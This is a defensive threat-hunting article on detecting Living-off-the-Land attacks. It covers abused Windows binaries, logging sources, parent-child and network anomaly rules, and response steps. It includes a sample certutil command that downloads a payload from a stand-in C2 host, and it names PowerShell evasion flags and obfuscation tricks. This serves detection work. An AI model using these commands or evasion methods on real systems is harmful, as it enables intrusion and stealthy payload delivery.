Hunting Living-off-the-Land (LotL) Techniques: Detecting Fileless Attacks in EDR Telemetry

As threat actors pivot away from custom malware to evade legacy antivirus, SOC teams must master behavioral telemetry and log correlation to detect attackers weaponizing the operating system's native administrative tools.

Executive Summary

The cybersecurity landscape has undergone a radical architectural shift over the past five years. Advanced Persistent Threats (APTs), ransomware affiliates, and initial access brokers (IABs) are increasingly abandoning custom, compiled malware in favor of "Living-off-the-Land" (LotL) techniques. By deliberately weaponizing legitimate, digitally signed tools already present within a target environment—such as PowerShell, Windows Management Instrumentation (WMI), and CertUtil—attackers make their malicious activity incredibly difficult to distinguish from routine IT administration.[3]

The severity of this shift was brought into sharp focus by recent joint cybersecurity advisories from the Cybersecurity and Infrastructure Security Agency (CISA). The advisories detailed how state-sponsored threat groups, specifically the PRC-linked actor known as Volt Typhoon, utilized LotL techniques to infiltrate U.S. critical infrastructure networks and maintain undetected persistence for years without deploying a single piece of traditional malware.[1] Because these attacks do not drop compiled `.exe` or `.dll` payloads onto the disk, legacy signature-based antivirus solutions are entirely blind to them. Defending against fileless attacks requires a fundamental transition to behavioral threat hunting, utilizing rich Endpoint Detection and Response (EDR) telemetry, centralized log correlation, and deep process analysis.

The Anatomy of a Fileless Attack and LOLBins

Living off the Land fundamentally exploits the inherent trust an operating system places in its own native utilities. These utilities are collectively referred to as LOLBins (Living Off The Land Binaries). The open-source security community meticulously tracks these executables via the LOLBAS (Living Off The Land Binaries and Scripts) project, which documents every native Microsoft binary, script, and library capable of facilitating malicious actions like arbitrary code execution, payload downloading, bypassing User Account Control (UAC), or bypassing application whitelisting.[2]

In a typical fileless attack chain, the initial intrusion vector might be a highly targeted phishing email containing a macro-enabled document (`.docm`), a malicious shortcut (`.lnk`), or an ISO archive. Instead of downloading a compiled payload to the `C:\Temp` directory, the initial trigger executes a built-in scripting engine like `powershell.exe`, `wscript.exe`, or `mshta.exe`.[3] This native process then reaches out to attacker-controlled infrastructure, downloads an obfuscated payload directly into system memory (RAM), and executes it dynamically. Because the malicious code never touches the non-volatile storage, static file scanning engines have nothing to analyze.

High-Risk LOLBins and Threat Actor Tradecraft

While the LOLBAS project tracks hundreds of binaries, enterprise threat hunters and Security Operations Center (SOC) analysts must prioritize building detection engineering rules for the most frequently abused utilities observed in active incident response engagements.

1. PowerShell (powershell.exe / pwsh.exe)

PowerShell is a highly privileged task automation framework and configuration management program. Threat actors abuse it to download external payloads, execute fileless scripts, harvest credentials (e.g., via Mimikatz in memory), and coordinate lateral movement. To evade detection, attackers frequently use encoded commands. For example, passing the `-EncodedCommand` or `-e` flag followed by a Base64 string allows the attacker to hide the true intent of the script from basic command-line logging.[3]

Additionally, attackers routinely bypass execution restrictions using flags like `-ExecutionPolicy Bypass` (or `-ep bypass`), `-NoProfile` (`-nop`), and `-WindowStyle Hidden` (`-w hidden`) to ensure the execution is completely invisible to the end-user.

2. Certificate Utility (certutil.exe)

Originally designed as a command-line program for managing Windows certification authority (CA) files and certificates, `certutil.exe` includes highly documented functionality to download files from remote URLs. Threat actors frequently abuse the `-urlcache` and `-split` arguments to fetch malicious payloads from remote command-and-control (C2) servers.[2] For example, an attacker executing `certutil.exe -urlcache -split -f http://malicious-c2[.]com/payload.dll C:\ProgramData\payload.dll` is utilizing a trusted Microsoft binary to bypass firewall egress filtering.

3. Windows Management Instrumentation (wmic.exe / wmiprvse.exe)

Windows Management Instrumentation (WMI) is a core administration framework allowing remote system queries, process creation, and configuration changes. Threat actors weaponize WMI for stealthy lateral movement across network segments and to establish deep persistence that survives system reboots. Using `wmic process call create`, an attacker can launch processes on remote machines across the domain without triggering traditional interactive login alerts (Event ID 4624 Type 10).[5]

4. MSHTA (mshta.exe)

MSHTA is a utility that executes Microsoft HTML Applications (HTA). It is highly prized by attackers because it can seamlessly execute VBScript or JScript embedded within HTML files. Furthermore, because MSHTA is a trusted Microsoft binary, it is frequently used to proxy execution and bypass application whitelisting solutions like Windows Defender Application Control (WDAC) and AppLocker.[2]

Telemetry Architecture: Building the Detection Pipeline

Because LOLBins are legitimate, digitally signed utilities, a SOC cannot simply block them or trigger critical P1 alerts every time `powershell.exe` executes. Doing so would cripple IT operations and result in overwhelming alert fatigue. The SOC must treat the binary name as just one piece of context. Effective detection relies on Defense Evasion telemetry, asking four critical questions: Who invoked it? Where did it run in the process tree? What command-line arguments were passed? What network sockets did the process open?[3]

To answer these questions, systems administrators must aggressively enable and forward specific Windows Event Logs and Sysmon telemetry to their central SIEM.

• Event ID 4688 (Process Creation): This is the foundation of endpoint visibility. It must be configured via Group Policy to "Include command line in process creation events." Without command-line auditing, analysts will only know that `powershell.exe` ran, but not what script it executed.
• Event ID 4104 (PowerShell Script Block Logging): By default, PowerShell logging is insufficient. Enabling Script Block Logging forces the Windows Anti-Malware Scan Interface (AMSI) to record the full, de-obfuscated contents of PowerShell scripts as they execute in memory. If an attacker uses Base64 encoding, Event ID 4104 will log the translated, readable code. This is the single most important log for detecting fileless PowerShell malware.[4]
• Sysmon Event ID 1 (Process Creation): System Monitor (Sysmon) provides richer process metadata than standard Windows logs, including file hashes (SHA256), original file names (to detect renamed binaries like `p.exe` instead of `powershell.exe`), and parent process GUIDs, allowing for precise process tree reconstruction.[6]
• Sysmon Event IDs 19, 20, 21 (WMI Activity): Because WMI executes largely in the background via `WmiPrvSE.exe`, standard logging often misses it. Sysmon is critical for tracking WMI EventFilters, EventConsumers, and FilterToConsumerBindings—the exact components attackers use for fileless persistence.[5]

Hunting in EDR: Advanced Behavioral Detection Logic

With the telemetry pipeline established, threat hunters can build high-fidelity behavioral rules within their EDR or SIEM to flag LotL tradecraft.

1. Parent-Child Process Anomalies

Every process running on a system is spawned by a parent process. Tracking abnormal lineages is one of the most reliable detection mechanisms for LotL attacks. For instance, if a user opens a Word document (`winword.exe`), and that application subsequently spawns `cmd.exe`, `powershell.exe`, or `mshta.exe`, it is highly indicative of macro abuse or exploit execution.[3] SOC analysts should alert on:

• Microsoft Office applications (`winword.exe`, `excel.exe`, `powerpnt.exe`) spawning command interpreters.
• Web browsers (`chrome.exe`, `msedge.exe`) spawning scripting engines directly without user download interactions.
• `WmiPrvSE.exe` (WMI Provider Host) spawning `cmd.exe` (indicative of remote WMI execution).

2. Network Anomalies from Native Binaries

Many built-in Windows utilities have absolutely no legitimate business reason to initiate outbound internet connections to untrusted external IP addresses. If an EDR agent detects a Microsoft binary making an unexpected external TCP/UDP connection, it warrants immediate investigation. Alerting logic should trigger when tools like `certutil.exe`, `rundll32.exe`, `regsvr32.exe`, `msbuild.exe`, or `wscript.exe` initiate HTTP/HTTPS traffic to non-corporate or non-Microsoft domains.[2]

3. Command Line Argument Obfuscation

Threat hunters must collect and analyze the full command line arguments passed to processes. Attackers routinely use mixed-case lettering (e.g., `pOwErShElL`), caret symbols (e.g., `c^m^d.e^x^e`), and environmental variable expansion to bypass simple string-matching rules. Modern EDR solutions and advanced SIEM correlation rules can decode these strings on the fly, flagging heavy obfuscation entropy as a strong indicator of compromise.[4]

Containment and Incident Response Workflows

When a SOC analyst identifies a confirmed LotL attack, traditional incident response containment measures—like hashing and blacklisting a malicious `.exe` file—are entirely ineffective because the tools being used belong to the operating system itself. You cannot blacklist `cmd.exe`. Instead, response playbooks must focus on identity quarantine and network isolation.

First, responders must trace the compromised identity context (the user account) that invoked the LOLBin. They must immediately revoke active Active Directory session tokens, force a password reset, and disable the account to sever the attacker's access.[1] Second, the affected host must be isolated at the network layer using the EDR console (host containment) to prevent lateral movement via WMI or SMB, while deliberately keeping the machine powered on to preserve volatile memory (RAM) for forensic extraction of the fileless payload.

Finally, responders must meticulously hunt for persistence mechanisms. Because there is no malware on disk, analysts must check WMI Event Subscriptions, rogue Scheduled Tasks, modified registry Run keys, and hijacked COM objects that the attacker may have staged to execute their fileless payload again upon system reboot.[5]

Security Takeaway

Living-off-the-Land techniques have redefined the perimeter of modern cybersecurity defense. Organizations can no longer secure an environment by blindly trusting digitally signed binaries or native administrative tools. Defending against these advanced, fileless threats requires security teams to establish rigorous baselines of normal administrative behavior, centralize deep endpoint telemetry (including full command line, Sysmon, and script block logging), and empower threat hunters to identify the subtle behavioral anomalies that indicate a trusted system tool has been turned into a weapon.

Sources & References

• [1] Cybersecurity and Infrastructure Security Agency (CISA) — Volt Typhoon Infiltrates US Critical Infrastructure (AA24-038A) — February 2024 — Verified Source
• [2] LOLBAS Project — Living Off The Land Binaries And Scripts Repository — Verified 2026 — Verified Source
• [3] CrowdStrike — Living off the Land (LotL) Attacks Explained — August 2024 — Verified Source
• [4] Microsoft Learn — about_Group_Policy_and_Telemetry (Event ID 4104) — July 2024 — Verified Source
• [5] MITRE ATT&CK — Event Triggered Execution: Windows Management Instrumentation Event Subscription (T1546.003) — October 2024 — Verified Source
• [6] Microsoft Sysinternals — Sysmon - Process Creation and Telemetry — Verified 2026 — Verified Source